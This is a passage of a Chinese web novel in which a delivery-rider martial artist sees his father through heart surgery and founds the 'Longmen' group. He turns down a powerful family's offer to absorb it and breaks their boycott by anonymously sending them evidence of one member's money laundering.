他紧紧捏着那张缴费单,站在人来人往的医院走廊中间,深深地、缓缓地吐出了一口积压在胸中许久许久的浊气。一股难以言喻的轻松感,伴随着淡淡的疲惫,席卷全身。肩膀上的重担,似乎在这一刻,减轻了大半。
就在他心神放松,念头通达至极的刹那——
脑海中,那许久未曾主动响起的系统提示音,再次清晰浮现,但这一次,带着一种不同于
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以往奖励内力或实物时的韵律,更加空灵,更加……玄妙。
【检测到宿主核心生存危机(至亲重病)已解除,生命轨迹回归稳定主干。】
【心念通达,执念消散,符合特殊技能解锁条件。】
【奖励发放:特殊辅助技能-初级因果洞察。】
【技能说明:可被动或主动触发,模糊感知与自身相关联的“因果线”变化,预判吉凶祸福的微弱趋势,识破部分浅层伪装与谎言。效果与宿主精神力及因果牵连强度相关。谨慎使用,窥探因果,自有承负。】
一股奇异的信息流融入他的意识,并非具体的修炼法门或力量感悟,而是一种更加抽象、关乎命运、关联、真伪的模糊感知能力。他仿佛多了一种无形的“触角”,能够隐约触摸到那维系着人与人、人与事之间,看不见摸不着,却真实存在的“线”。
这就是……因果洞察?
王大头站在原地,微微闭上眼睛,仔细体会着这种新奇的感觉。他尝试着将注意力集中在手中的缴费单上,隐约能“感觉”到一条微弱的“线”,连接着病房里的父亲,代表着“生机”与“希望”在增强。他又想到陈少,能感觉到一条充满恶意、怨恨,但却正在迅速变得微弱、并且向着遥远方向延伸的“线”,代表着威胁的暂时远离。
这种能力,目前还很模糊,很微弱,但它的战略意义,远超单纯的力量提升!这意味着,他以后能更好地规避风险,洞察人心,把握机遇!
他睁开眼,眼中闪过一丝明悟与坚定。之前的他,只是为了生存,为了父亲而挣扎、战斗。被动地应对着来自各方的麻烦。
但现在,父亲的医疗费解决了,陈少这个最大的麻烦也被暂时根除。他拥有了更强的力量,获得了拳场的奖金和陈家的巨额赔偿,更是得到了“因果洞察”这种神奇的能力。
他不能再像以前那样,被动地等待事情发生。是时候,主动去规划,去开创了!
他目光越过医院走廊嘈杂的人群,望向窗外蔚蓝的天空,眼神锐利而充满斗志。
“接下来,该为龙门,和未来了。”
一个清晰的声音,在他心中响起。
第31章:父亲的嘱托与新生
市中心医院,心脏外科手术层。
空气里弥漫着消毒水与紧张混合的独特气味。冰冷的金属座椅,苍白刺眼的灯光,还有那扇紧闭的、代表着生与死界限的厚重手术室大门,共同构成了一种令人窒息的静谧。等待区的人不多,但每一张脸上都写满了相似的焦虑与期盼。
王大头坐在长椅上,背脊挺得笔直,如同悬崖边的青松。他双手交握,指节因为用力而微微发白。体内奔腾的内力此刻如同被禁锢的江河,无法带给他丝毫温暖,反而让他对周围环境的感知变得更加敏锐——他能听到护士站细微的交谈声,能听到远处仪器规律的滴答声,更能听到自己胸腔里那颗心脏,沉重而缓慢的跳动。
时间,在这里仿佛被拉长,每一秒都如同在粗粝的砂纸上摩擦。
“王建国家属!准备进手术室了!”护士的声音打破了沉寂。
王大头猛地站起身,快步走到移动病床前。父亲王建国躺在上面,脸色因为病痛和紧张而显得灰暗,鼻子里插着氧气管,手背上打着留置针。但看到儿子过来,他还是努力扯出一个宽慰的笑容,干燥的嘴唇动了动。
“爸。”王大头俯下身,声音有些沙哑,他握住父亲那只没有打针、布满老茧和皱纹的手。这只手,曾经为他撑起一片天,如今却如此瘦削无力。
王建国反手用力握了握儿子的手,那力度,出乎意料的大,仿佛凝聚了他此刻全部的精神。他浑浊却依旧清亮的眼睛,紧紧盯着王大头,里面有担忧,有不舍,但更多的,是一种深沉的嘱托。
“大头……”父亲的声音微弱,却异常清晰,每一个字都像是凿子,刻在王大头的心上,“爸……没事。你……别担心。”
他喘了口气,继续道:“这段时间……苦了你了。爸……都看在眼里。你……长大了,有本事了……爸,高兴。”
王大头鼻子一酸,紧紧抿着嘴唇,用力点头。
“但……大头,你记住爸一句话。”王建国的眼神变得无比郑重,甚至带着一丝恳求,“无论到了啥时候,有多大本事……咱……走正道,做好人。钱……要挣得干净,拳头……要打得有理。千万别……别让力量迷了眼,走了歪路。平平安安的……比啥都强……”
“走正道,做好人。”
这六个字,朴实无华,却是这个一辈子老实巴交的农民父亲,在可能生死离别之际,能给予儿子最珍贵、也是最沉重的遗产。
王大头看着父亲殷切而担忧的眼神,重重点头,声音坚定:“爸,你放心!我记住了!一定走正道,做好人!您一定好好的,等着享福!”
听到儿子的保证,王建国眼中闪过一丝释然,紧绷的身体似乎也放松了一些,他最后用力捏了捏儿子的手,然后缓缓松开。
护士推动病床,轱辘声在空旷的走廊里回响。王大头目送着父亲被推进那扇缓缓闭合的手术室大门,直到那盏代表“手术中”的红色指示灯亮起,如同一只冷漠的眼睛,凝视着外界。
他退回到长椅边,却没有坐下。他就那么站着,如同一尊沉默的雕像,目光牢牢锁定在那扇门和那盏灯上。体内内力自行缓缓流转,混元桩的意境让他勉强保持着表面的镇定,但内心深处,担忧、恐惧、期盼……种种情绪如同潮水般翻涌。他第一次感到,纵然拥有了超越常人的力量,在生命的脆弱与无常面前,依然是如此的无力。
时间一分一秒地流逝。窗外,天色从清晨的微明逐渐变得明亮,又慢慢转向午后的沉闷。王大头维持着同一个姿势,几乎未曾改变。母亲期间被劝说着去吃了几口东西,回来后又和他一起默默等待。
漫长的等待,煎熬着每一根神经。
不知过了多久,仿佛一个世纪那般漫长……
突然!
那盏刺眼的红色指示灯,“啪”地一声,熄
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灭了!
王大头和母亲几乎同时身体一震,猛地站直,目光死死盯住手术室大门。
心脏在胸腔里狂跳,仿佛要挣脱束缚。
门,从里面被推开。
首先走出来的是主刀医生,他戴着口罩,看不清全貌,但露出的额头带着细密的汗珠,眼神中带着一丝疲惫。
王大头和母亲立刻冲了上去,心脏提到了嗓子眼,想问,却又不敢问,生怕听到那个无法承受的字眼。
医生停下脚步,目光扫过紧张的母子二人,然后,他抬手摘下了口罩,露出了一个虽然疲惫,却带着明显欣慰和轻松的笑容。
他看着王大头,声音清晰地宣布:
“手术很成功。病人生命体征平稳,观察一段时间后就可以送回病房了。”
……
……
一股巨大的、无法形容的狂喜,如同海啸般瞬间冲垮了王大头所有的心理防线!他感觉双腿一软,差点站立不住,连忙伸手扶住了墙壁。母亲已经喜极而泣,捂着嘴,眼泪止不住地流淌下来,不住地对医生说着谢谢。
成功了!父亲挺过来了!
压在心头最大的那座山,终于被移开了!阳光,仿佛在这一刻,才真正穿透医院走廊的窗户,照进了他的心底。
他看着喜极而泣的母亲,看着那扇重新打开、预示着新生的手术室大门,紧紧握住了拳头。
一个月后。
父亲王建国的恢复情况出乎意料的好。原本医生预估至少需要卧床休养大半个月,但在王大头不惜耗费自身内力,每晚悄悄为其梳理经脉、活化气血(借口是跟老中医学的按摩手法),以及充足金钱支撑下的顶级药物和营养补充下,王建国已经能在搀扶下缓慢行走,气色也红润了许多,连主治医生都连连称奇,说是生命力的奇迹。
心中的大石落地,王大头终于可以将更多的精力,投向那个在脑海中盘旋已久的构想。
第32章:龙门初创,三柱定基!
他依旧没有回那个被砸的出租屋,而是在城市边缘一个相对僻静的老旧小区,租下了一套顶楼带个小天台的房子。这里租金便宜,空间足够,关键是足够隐蔽,适合做一些“特别”的事情。
此刻,在这间家徒四壁、只有几张旧桌椅的客厅内,三个人,围桌而坐。
桌上,没有昂贵的酒水,只有三杯冒着袅袅热气的清茶。
王大头坐在主位,神情沉稳,目光锐利,经过连番事件的磨砺,他眉宇间那份属于外卖员的青涩和卑微已几乎褪尽,取而代之的是一种内敛的自信与掌控感。他穿着简单的白色练功服,这是赵师傅建议的,说练武之人,衣着当以宽松舒适、不碍行动为宜。
坐在他左手边的,是依旧提着鸟笼,穿着藏蓝色旧练功服的赵师傅。他慢悠悠地盘着那对紫檀核桃,眼神半开半阖,仿佛对周遭一切漠不关心,但偶尔开阖间泄露出的一丝精光,却让人不敢小觑。他就像一座深潭,表面平静,内里却深不可测。
坐在他右手边的,是张猛。这小子听说要干大事,特意翻出了一件压箱底的黑色紧身背心,勾勒出结实的肌肉轮廓,脸上洋溢着兴奋和跃跃欲试的神情,坐姿也大大咧咧,但看向王大头时,眼神里充满了毫不掩饰的崇拜和信服。
“赵师傅,猛子。”王大头开口,声音平静却带着一种力量,“今天请二位过来,是想正式商量一件事。”
张猛立刻坐直了身体:“大头,你说!干啥我都跟你!”
赵师傅微微抬眼,看了王大头一眼,手中核桃转动的速度不变,淡淡道:“你想立旗?”
王大头点头,目光扫过二人:“没错。我们之前被陈少那种人欺压,被林家那种势力窥伺,说到底,是因为我们势单力薄,是一盘散沙。一个人再能打,终究有力所不及之处。我想,把我们这些人,拧成一股绳!”
他顿了顿,继续道:“我有个想法,成立一个组织,名字我也想好了,就叫——龙门!”
“龙门?”张猛眼睛一亮,“这名字霸气!鱼跃龙门,一飞冲天!好!”
赵师傅眼中也闪过一丝不易察觉的赞赏,这个名字,寓意深远。
“龙门初立,百废待兴。但根基必须打牢。”王大头看向赵师傅,语气恭敬而诚恳,“赵师傅,您德高望重,武道修为深不可测,更是我的引路人。这龙门,我想请您出任总教**,负责传授兄弟们真正的武道根基,制定修炼体系,执掌赏罚规矩。龙门能否走得远,根基是否牢固,全赖您老把握方向。”
总教**,这是一个看似没有太多实权,却关乎组织根基和未来高度的核心位置!掌握着传授武道和制定规矩的权力,等同于掌握了龙门未来的命脉!
赵师傅盘着核桃的手微微一顿,深深看了王大头一眼。他没想到,这个年轻人不仅力量增长迅速,心思也如此缜密,更懂得如何用人、如何尊重人。将如此重要的位置交给他,既是信任,也是一种极高的智慧。
他没有立刻答应,而是反问:“你想把龙门,带向何方?”
王大头毫不犹豫,目光灼灼:“我不敢说冠冕堂皇的话。初期,是为了自保,为了让我们和我们的家人朋友,不再受欺辱!为了拥有对抗不公的力量!但长远看……”
他深吸一口气,声音铿锵有力,带着一种理想主义的光辉:
“我希望,龙门将来能成为一个符号,一个让弱者有所依靠,让受欺压者能看到希望的地方!我们不行恶,但也绝不任人欺凌!我们要成为弱者的庇护所,成为悬在那些为富不仁、仗势欺人者头顶的一柄利剑!”
这番话,掷地有声!张猛听得热血沸腾,拳头紧握。连赵师傅那古井无波的脸上,也似乎泛起了一丝微不可查的涟漪。
沉默片刻,赵师傅缓缓开口,声音依旧平淡,却带着一种郑重的承诺:“既然你有此心,老夫……便帮你撑起这武道的脊梁。这总教**
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之位,我接了。”
王大头心中一块大石落地,郑重抱拳:“谢赵师傅!”
他转而看向激动不已的张猛:“猛子,你是我最早、最信任的兄弟。你性情耿直,悍勇无双,敢打敢拼。这龙门开疆拓土,冲锋陷阵,需要一把最锋利的尖刀!我请你出任战神之位!未来龙门的武力担当,对外征伐之责,由你统领!你可能胜任?”
“战神?!”张猛猛地站起来,脸色因为激动而涨红,胸膛剧烈起伏,“我能!大头!不,龙头!你放心!我张猛别的不行,就是不怕死!谁敢惹咱们龙门,我第一个冲上去撕了他!这战神,我当了!”他拍着胸脯,砰砰作响。
“好!”王大头也站起身,端起桌上的茶杯,目光扫过赵师傅和张猛,眼神灼热,充满了无限的斗志与憧憬,“既然如此,今日,以茶代酒!”
赵师傅和张猛也肃然端杯起身。
“我王大头(龙头)!”
“赵乾坤(总教**)!”
“张猛(战神)!”
三人齐声,虽只有三人,声音却带着一股破开迷雾、直冲云霄的气势:
“于此立誓,龙门今日初创,三柱定基!”
“同心协力,护卫弱小,荡平不公!”
“饮胜!”
三只粗糙的茶杯,重重碰在一起,发出清脆的响声。清冽的茶水荡漾,映照着三张神色各异,却同样坚定的面孔。
简陋的出租屋内,一个在未来将搅动天下风云的组织,就此诞生!
王大头目光灼灼,仿佛穿透了墙壁,看到了遥远的未来,他沉声道:
“我们的龙门,要成为弱者的庇护所!”
而在窗外远处,某栋高楼的天台上,一个穿着西装的身影,正举着望远镜,远远地注视着这个老旧小区的顶楼。他放下望远镜,对着耳边的微型通讯器低声道:“福伯,目标与赵乾坤、张猛会面超过两小时,似乎在密谋什么……他们提到了‘龙门’……“”
第33章:林家的橄榄枝?
龙门初创,虽只有三人,却自有一股新生的朝气在王大头租住的老旧小区顶楼弥漫。赵师傅开始系统地教导张猛最基础的桩功和呼吸法,而王大头则在巩固自身修为、尝试冲击那层隐约瓶颈的同时,利用【初级因果洞察】的能力,开始梳理和规划龙门的未来。他知道,树欲静而风不止,龙门的成立,不可能永远瞒过那些有心人的眼睛。
果然,就在龙门成立后的第三天下午。
“咚咚咚。”
不轻不重,极有节奏的敲门声响起,带着一种与这破旧楼道格格不入的沉稳与礼貌,却又隐隐透着一丝不容拒绝的意味。
正在客厅内揣摩混元桩与八极拳发力结合之妙的王大头,猛地睁开了眼睛。他并没有感知到明显的恶意,但【初级因果洞察】却传来一丝微弱的、代表着“麻烦”与“关联”的波动。来者不善,善者不来。
张猛一个激灵就从地上弹了起来,眼神警惕地看向门口,如同被惊动的猎豹。连在一旁闭目养神、盘着核桃的赵师傅,也微微抬了抬眼皮,浑浊的眼中闪过一丝了然。
王大头对张猛使了个眼色,示意他稍安勿躁,然后平静地走到门前,打开了门。
门外,站着两个人。
为首的是一位年约五十上下,穿着一身剪裁合体、用料考究的深灰色中山装,头发梳得一丝不苟,面容清癯,戴着一副金丝边眼镜的中年男子。他脸上带着恰到好处的微笑,眼神温和,却给人一种深不见底的感觉,仿佛一切尽在掌握。他双手自然地垂在身侧,指节修长,保养得极好,但王大头却能隐约感觉到那双手蕴含的沉稳力量,此人绝非普通的文职管事。
在这中年男子身后半步,跟着一个身材魁梧、面色冷峻的年轻男子,穿着黑色的劲装,眼神锐利如鹰,气息沉稳悠长,太阳穴微微鼓起,显然是个外家功夫不俗的好手,应该是保镖随从一类。他手中捧着一个古朴的紫檀木长盒。
“请问,是王大头,王先生吗?”中山装男子开口,声音温和醇厚,带着一种让人如沐春风的磁性,但他的目光,却如同精准的探针,瞬间将王大头从头到脚扫视了一遍,尤其是在他站立的姿态和眼神上停留了片刻。
“是我。阁下是?”王大头站在门口,并没有让开的意思,语气平淡。他心中已然有了猜测。
“鄙人林耀宗,忝为林家外事管事。”中年男子微微颔首,笑容不变,自报家门,果然来自林家!“冒昧来访,还请王先生勿怪。可否入内一叙?”他的态度看似谦和,但那股久居人上、习惯发号施令的气质,却在不经意间流露出来。
王大头目光与林耀宗对视一眼,瞬间感受到一股无形的、如同山岳般厚重的压力悄然笼罩而来。这不是武力上的压迫,而是一种基于身份、地位和长久权势积累所形成的心理优势,试图在见面之初就占据主导。若是一个月前的王大头,或许会被这股气势所慑,但如今他内力精进,更是身负系统,心志早已磨砺得坚如磐石。
他侧身,让开通道:“林管事,请进。”
林耀宗带着那名保镖从容步入这间家徒四壁的客厅,目光随意地扫过简陋的环境,看到坐在角落闭目盘核桃的赵师傅时,他眼神微微一动,闪过一丝不易察觉的讶异,但很快恢复平静,对着赵师傅的方向微微点头示意,显然认出了这位神秘老者。赵师傅却如同老僧入定,毫无反应。
张猛则虎视眈眈地盯着进来的两人,尤其是那个保镖,他能感觉到对方身上传来的威胁感。
“条件简陋,林管事见笑了。请坐。”王大头指了指那几张旧椅子。
林耀宗优雅地坐下,脊背挺直,与这破旧的环境形成鲜明对比。那名保镖则默然肃立在他身后,如同雕塑,眼神却始终锁定在王大头身上,带着审视与戒备。
“王先生快人快语,那林某也就开门见山了。”林耀宗没有过多寒暄,直接切入主题,他示意了一下身后的保镖。保镖上前一步,将那个紫檀木长盒放在桌上,轻轻打开。
盒内,红色的丝绒衬底上,并排摆放着三样东西。
左边,是一张制作精美、镶嵌着金边的邀请函,上面有着林家的家族徽记。
中间,是一份厚厚的、装订精美的合同文件,封面写着“特殊人才引进与合**议”。
右边,则是一张黑色的、闪烁着金属光泽的银行卡。
“王先生,”林耀宗的声音带着一种蛊惑人心的力量,“我代表林家,正式向你发出邀请。鉴于你展现出的卓越……天赋与潜力,林家诚挚地希望,你能加入我们。”
他先指向那张邀请函:“这是林家‘客卿’身份的象征。持有此函,你可自由出入林家部分场所,获得林家一定程度的情报与资源支持。”
接着,他指向那份合同:“这是具体的合作条款。林家可以为你提供最优厚的待遇——年薪千万
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起步,市区核心地段豪宅一栋,顶级配车,以及……你所难以想象的修炼资源,包括但不限于珍稀药材、古武秘典,甚至……化劲宗师的亲自指点。”他刻意在“化劲宗师”四个字上加重了语气,目光扫过王大头,观察他的反应。
最后,他指向那张银行卡:“这张卡里,有一千万。算是林家预支给你的,一点小小的见面礼。以示诚意。”
年薪千万!豪宅!配车!古武秘典!化劲宗师指点!
再加上眼前这一千万的现金!
这份“橄榄枝”,不可谓不沉重,不可谓不诱人!足以让世上九成九的人为之疯狂!
张猛在一旁听得呼吸都急促了几分,眼睛瞪得溜圆。就连一直闭目的赵师傅,手中盘核桃的动作也几不可查地慢了一瞬。
林耀宗很满意这种效果,他脸上带着智珠在握的笑容,身体微微前倾,声音压低,带着一种循循善诱:“王先生,你是聪明人。应该明白,个人的力量,终究是有限的。在这个世界上,想要真正站稳脚跟,走得长远,背后必须要有强大的势力支撑。林家,就是你最好的选择,也是你最快的晋升阶梯。”
他顿了顿,语气变得稍微强硬了一丝,带着不容置疑的意味:“当然,相应的,你需要签署这份协议,宣誓效忠林家。你,以及你创立的这个……‘龙门’(他说出这两个字时,语气带着一丝不易察觉的轻蔑),将完全并入林家体系,听从林家调遣。这对你,对你这些兄弟,都是最好的归宿。背靠大树,才好乘凉啊。”
图穷匕见!
招揽是假,吞并才是真!不仅要吞并他王大头这个人,还要将他刚刚创立的、尚未展翅的龙门,连根拔起,彻底变成林家的附庸!
客厅内一片寂静。只有窗外隐约传来的城市噪音。
所有的目光都聚焦在王大头身上。
王大头看着桌上那三样足以让无数人眼红心跳的东西,脸上没有任何波澜,甚至连眼神都没有丝毫变化。他没有去看那银行卡,也没有去翻那合同,仿佛那只是三件无关紧要的摆设。
他缓缓抬起头,目光平静地看向自信满满的林耀宗,嘴角甚至勾起了一抹极淡的、带着几分嘲弄的弧度。
在林耀宗逐渐变得错愕的目光中,王大头轻轻推开那个紫檀木盒,语气平淡得像是在拒绝一杯白开水:
“林管事的好意,心领了。不过,我王大头,不喜欢给人当狗。”
第34章:招揽不成,**令下!
王大头的话,如同一声惊雷,在这狭小的客厅内炸响!
“不喜欢给人当狗!”
这句话,简单,直接,粗暴!像一记无形的耳光,狠狠扇在了林耀宗那永远保持着优雅从容的脸上!
林耀宗脸上的笑容瞬间僵硬,如同精美的瓷器表面出现了裂痕。他那双隐藏在金丝眼镜后的温和眼睛,骤然眯起,锐利的光芒如同冰锥,直刺王大头!一股远比之前更加庞大、更加冰冷的气势,如同实质般从他身上散发出来,客厅内的空气仿佛都凝固了,温度骤降!
他身后的那名保镖,眼神瞬间变得无比凌厉,周身肌肉紧绷,一股凶悍的气息锁定了王大头,仿佛随时会暴起发难!
张猛感受到这股压力,低吼一声,下意识地踏前一步,挡在王大头侧前方,虽然实力差距巨大,但他毫无惧色,眼神凶狠地瞪了回去。
就连一直闭目的赵师傅,也终于完全睁开了眼睛,那双古井无波的眸子里,闪过一丝凝重。他手中盘动的核桃停了下来,一股若有若无、却更加深沉浩瀚的气息,如同水波般荡漾开来,悄无声息地抵消了大部分林耀宗带来的压迫感。
林耀宗的目光在赵师傅身上停留了一瞬,瞳孔微缩,显然对赵师傅的实力有了新的评估。他深吸一口气,强行压下心头的震怒和一丝被蝼蚁冒犯的荒谬感。多少年了,从未有人敢如此对他说话,如此干脆利落地拒绝林家抛出的橄榄枝,还是以如此……侮辱性的方式!
“王先生。”林耀宗的声音失去了之前的温和,变得冰冷而坚硬,每一个字都像是从冰窖里捞出来的,“年轻气盛是好事,但也要懂得审时度势。拒绝林家,意味着什么,你可要想清楚了。有些路,一旦选错,可就再也回不了头了。”
这是赤裸裸的威胁!
王大头却仿佛没有听到,他甚至悠闲地拿起桌上自己那杯已经凉透的茶水,轻轻呷了一口,然后才抬眼看向林耀宗,眼神依旧平静:“我的路,我自己会走。不劳林管事费心。如果没别的事,恕不远送。”
逐客令!
林耀宗死死地盯着王大头,看了足足有三秒钟,仿佛要将这个不知天高地厚的年轻人彻底看穿。最终,他脸上重新浮现出那种公式化的、却冰冷无比的笑容,只是这笑容里,再无半分暖意,只有森然的寒意。
“好!很好!”林耀宗缓缓站起身,整理了一下自己毫无褶皱的中山装衣领,动作依旧优雅,却带着一股肃杀之气,“王先生果然……有志气。希望你不会为今天的选择后悔。”
他不再多看王大头一眼,对身后的保镖示意了一下。那保镖上前,面无表情地合上紫檀木盒,重新捧在手中。
林耀宗转身,迈着沉稳的步伐向门外走去,在门口停顿了一下,背对着众人,留下最后一句冰冷的话语:“这个世界,很大。有些风景,不是你这点微末道行,有资格看的。”
说完,他带着保镖,头也不回地离开,脚步声在空旷的楼道里渐行渐远。
客厅内,凝重的气氛久久不散。
“妈的!装什么大尾巴狼!”张猛朝着门口方向啐了一口,愤愤不平,“不就是有几个臭钱吗?嚣张什么!大头,你做得对!咱们龙门,凭什么给他林家当狗!”
赵师傅缓缓站起身,走到窗边,看着楼下那辆低调奢华的黑色轿车无声地滑入车流,消失不见,眉头微蹙:“林家……睚眦必报。拒绝了他们,麻烦很快就会来了。耀宗此人心机深沉,手段狠辣,他刚才的话,绝非虚言恫吓。”
王大头点了点头,眼神深邃:“我知道。兵来将挡,水来土掩。龙门要走自己的路,这一关,迟早要过。”他早已通过【初级因果洞察】,模糊感知到拒绝之后,那骤然变得浓郁起来的“危机”征兆。
……
林家的报复,来得比想象中更快,更狠辣!
第二天一早,王大头像往常一样,习惯性地想打开手机上的外卖平台APP,看看有没有什么零散的单子可以顺路接一下,虽然他现在不缺钱,但这曾是他赖以生存的途径,也是一种生活的惯性。
然而,APP提示“账号异常,已被永久封禁”。
他微微皱眉,换了另一个主流的外卖平台,同样如此!账号无法登录,
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客服电话永远忙线,在线客服机器人只会重复“您的账号因违反平台规则已被永久封禁,具体原因无法告知,处理结果无法申诉”。
不仅仅是外卖平台!
之前因为他“外卖侠”名气和展现出的身手,曾有几家健身房和体校联系过他,希望他能去兼职当教练或顾问,虽然他都以忙碌推脱了,但还保持着联系。今天,他试着联系了其中两家,对方接起电话,一听是他的声音,立刻支支吾吾,语气慌张,要么说“暂时不缺人”,要么直接说“王先生,我们小庙容不下您这尊大佛,以后还是别联系了”,然后迅速挂断电话。
甚至,连他之前经常去批发采购些日常用品的小商场,店主看到他,眼神都变得躲闪,结账时都不敢多看他一眼。
一种无形的、令人窒息的**网,正在迅速收紧!
林家甚至没有动用任何见不得光的手段,仅仅是动用其在商界、在相关领域的影响力,打了几个电话,打了声招呼,就轻而易举地,将他王大头在明面上所有的、合法的收入途径和社会联系,彻底斩断!让他从一个有些名气的“外卖侠”、“拳王”,瞬间变成了一个被主流社会排斥在外的“异常者”!
这就是世家大族的力量!轻描淡写,却足以将一个没有根基的普通人,逼入绝境!
“砰!”
张猛一拳砸在桌子上,实木的桌面都出现了裂痕,他额头青筋暴起,双眼喷火,怒吼道:
“**林家!这帮孙子,太欺负人了!有本事真刀**干一场!玩这种阴的!算什么本事!”
他气得胸膛剧烈起伏,如同鼓风机。这种无处不在、却又找不到具体对象发泄的憋闷感,比真刀**打一场还要让人难受!
王大头站在窗边,看着楼下街道上熙熙攘攘、为生活奔波的人群,其中不乏穿着各色外卖服的身影。他曾是他们中的一员,如今却被彻底隔绝在外。
他握紧了拳头,眼神却异常冷静,甚至带着一丝冰冷的火焰。
林家的**,断了他在阳光下的生路。
但这,也彻底斩断了他最后一丝犹豫。
第35章:智慧破局,反向拿捏!
林家轻描淡写布下的**网,如同无形的枷锁,勒得人喘不过气。张猛暴躁得如同困兽,在简陋的客厅里来回踱步,嘴里不干不净地咒骂着,却无处发力。
赵师傅依旧沉稳,但眉宇间也多了几分凝重,林家的手段,精准地打在了七寸上,断绝经济来源,孤立社会关系,这是要逼他们就范,或者……逼他们走上绝路,动用武力,从而落入更可怕的陷阱。
“妈的!实在不行,老子晚上摸去林家,逮住那个林耀宗,先揍他个生活不能自理!”张猛红着眼睛吼道,他崇尚直来直往,这种阴柔的绞杀让他无比憋闷。
“胡闹!”赵师傅呵斥道,“打一个林耀宗有什么用?只会授人以柄,让林家更有理由动用官方力量甚至更激烈的手段对付我们!到时候,龙门还没起步,就要夭折!”
“那怎么办?就这么忍着?等着被他们活活困死?”张猛梗着脖子。
一直沉默站在窗边的王大头,缓缓转过身。他的脸上没有张猛的暴躁,也没有赵师傅的凝重,只有一种极致的冷静,如同深潭之水。**带来的窒息感,反而让他那颗因实力暴涨而可能产生的些许骄躁之心,彻底沉淀下来。
硬碰硬,是下下之策。林家底蕴深厚,正面冲突,现在的龙门无异于以卵击石。
但,他王大头,早已不是那个只能依靠拳头的莽夫。他拥有着超越常人的力量,更拥有着……窥探因果轨迹的利器!
“猛子,稍安勿躁。赵师傅说得对,冲动解决不了问题。”王大头开口,声音平稳,“林家势大,根深蒂固,但越是庞大的势力,内部盘根错节,不可能铁板一块,也绝不可能干干净净。”
他走到房间中间,闭上了眼睛。体内内力缓缓流转,精神高度集中,全力催动了【初级因果洞察】的能力。
刹那间,世界在他“感知”中变得不同。无数模糊、纤细、代表着各种关联与可能的“线”,在他意识中浮现、交织。大部分与他无关,或者关联微弱。他需要找到的,是那些与“林家”、“**”、“麻烦”相关,并且……蕴含着“破绽”与“反制”可能性的线!
这如同在浩瀚的星空中寻找特定的星座,极其耗费心神。他的额头很快渗出细密的汗珠,脸色也微微发白。但这种能力的运用,本身就是一种修炼。
张猛和赵师傅看着他闭目凝神、气息变得玄奥的模样,都安静下来,虽然不解,但能感觉到他正在做某种重要的尝试。
时间一分一秒过去。
突然!
王大头猛地睁开眼睛,眼中精光一闪而逝!他捕捉到了几条极其微弱、但却带着明显“污秽”与“隐患”气息的因果线,它们都隐隐指向林家,其中一条,尤为清晰!这条线,关联着一个叫“林威”的人,似乎是林家一个不算核心的外围成员,负责打理林家部分见不得光的灰色产业,而其中一项,就与“狂野角斗”地下拳场有关——利用拳赛的巨额赌资和现金流水,进行非法的**活动!
而且,通过因果线的模糊反馈,王大头能感觉到,这个林威似乎手脚并不干净,中饱私囊,留下了一些可能连林家都不完全清楚的、足以致命的尾巴!
一个大胆的计划,瞬间在王大头脑海中成型!
他没有选择直接去搜集证据,那太慢,也太容易暴露。他找到了之前被迫臣服于龙门的黑蛇会老大(虽然黑蛇会核心覆灭,但一些底层耳目还在),通过他,用匿名的方式和一个特殊的渠道,联系上了一个对林家心怀不满、或者单纯是拿钱办事的**。
他没有给出具体目标,只是提供了几个模糊的关键词:“林威”、“狂野角斗”、“异常资金流水”、“境外账户”。并且支付了一笔不菲的定金,要求对方在绝对保密的前提下,尽可能搜集相关信息,时间紧迫。
金钱的力量,加上有心算无心,以及【因果洞察】冥冥中的指引,效率高得惊人。仅仅一天后,一份匿名的包裹,就被送到了王大头指定的一个公共储物柜。
包裹里没有源文件,只有一些经过处理的照片影印件和整理好的资料摘要——几份经过多层复杂流转、最终指向海外离岸公司的资金流向图;几张林威与境外不明身份人员在赌场的亲密合影;以及几段模糊但能听清关键对话的录音片段,里面提到了“处理干净”、“老规矩分成”、“不能让宗家发现”等字眼。
这些证据,或许不足以在法庭上彻底钉死林家,但足以在林家内部引爆一颗**!尤其是涉
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及到**这种敏感且致命的罪名,以及内部人员的中饱私囊!林家为了自保和清理门户,必然会引起一阵不小的骚动。
王大头没有犹豫,他精心挑选了其中最具杀伤力、又不会暴露信息来源的几张资金流向图和一段录音副本,连同一份打印的、只有一句话的匿名信:
“林管事,一份薄礼,聊表寸心。江湖路远,各自安好。”
他用一个全新的、无法追踪的信封,通过一家跨国快递公司,直接寄往了林耀宗办公室的地址。
这是一次试探,更是一次警告!一次来自阴影中的、精准的反击!
他是在明确地告诉林家:我王大头,不是你们可以随意拿捏的软柿子!你们有你们的阳谋,我也有我的手段!逼急了,鱼死网破,对谁都没好处!
信寄出的当晚,王大头依旧在顶楼天台练习混元桩,内心却并不平静。他在等待,等待林家的反应,也在等待……系统的反馈。这种利用智慧和能力破局的方式,是否也能得到认可?
翌日,清晨。
张猛习惯性地刷新着手机,突然,他猛地跳了起来,一脸难以置信:“我……我靠!大头!我的外卖账号……解封了!平台还发了个不痛不痒的道歉通知,说是系统误判?!”
几乎同时,王大头也收到了一条之前拉黑他的健身房经理发来的谄媚短信,表示之前都是误会,希望能有机会“深入合作”。
之前那种无处不在的**和排斥感,如同潮水般,悄然退去了。
就在王大头感受着这微妙变化,心中了然时,脑海中系统的提示音如期而至:
【检测到宿主以智慧与非武力手段,成功化解强大**的恶意打压,扭转不利局面,符合“智勇双全”评判标准。奖励:养神丹x1。】
【养神丹】:滋养神魂,壮大精神,小幅提升悟性,对修炼《星辰观想法》及运用因果洞察等精神相关能力有奇效。
一枚龙眼大小、散发着淡淡馨香、表面有着奇异云纹的乳白色丹药,凭空出现在他系统空间内。
王大头嘴角微微上扬。这一次,他不仅凭借自己的力量和智慧,成功顶住了林家的第一波打压,赢得了喘息之机,更是获得了一份意料之外的珍贵奖励。
第36章:药膳构想,李雅倾心
林家的**无声无息地解除,如同它来时一样突兀。但这短暂的风波,却让王大头更加清醒地认识到拥有独立经济来源和稳固根基的重要性。依附他人,或者仅靠灰色地带的收入,绝非长久之计。龙门,必须有自己的产业,光明正大,又能支撑其发展的产业。
他想到了李雅,想到了她那间充满温馨与格调的“雅韵咖啡”。
傍晚时分,夕阳给城市披上一层暖金色的外衣。王大头踏入了许久未至的雅韵咖啡馆。风铃叮咚作响,熟悉的咖啡醇香扑面而来。
李雅正在吧台后擦拭着杯子,听到铃声抬起头。当她看到走进来的是王大头时,明媚的眼眸中瞬间绽放出惊喜的光彩,如同夜空中最亮的星辰。她放下手中的杯子,快步绕了出来。
“大头!你来了!”她的声音带着显而易见的愉悦,但随即又染上一丝担忧,上下打量着他,“你……你没事吧?我前几天听说,好多平台和商家都……都在针对你?”显然,她也隐约听到了些风声,一直为他担心。
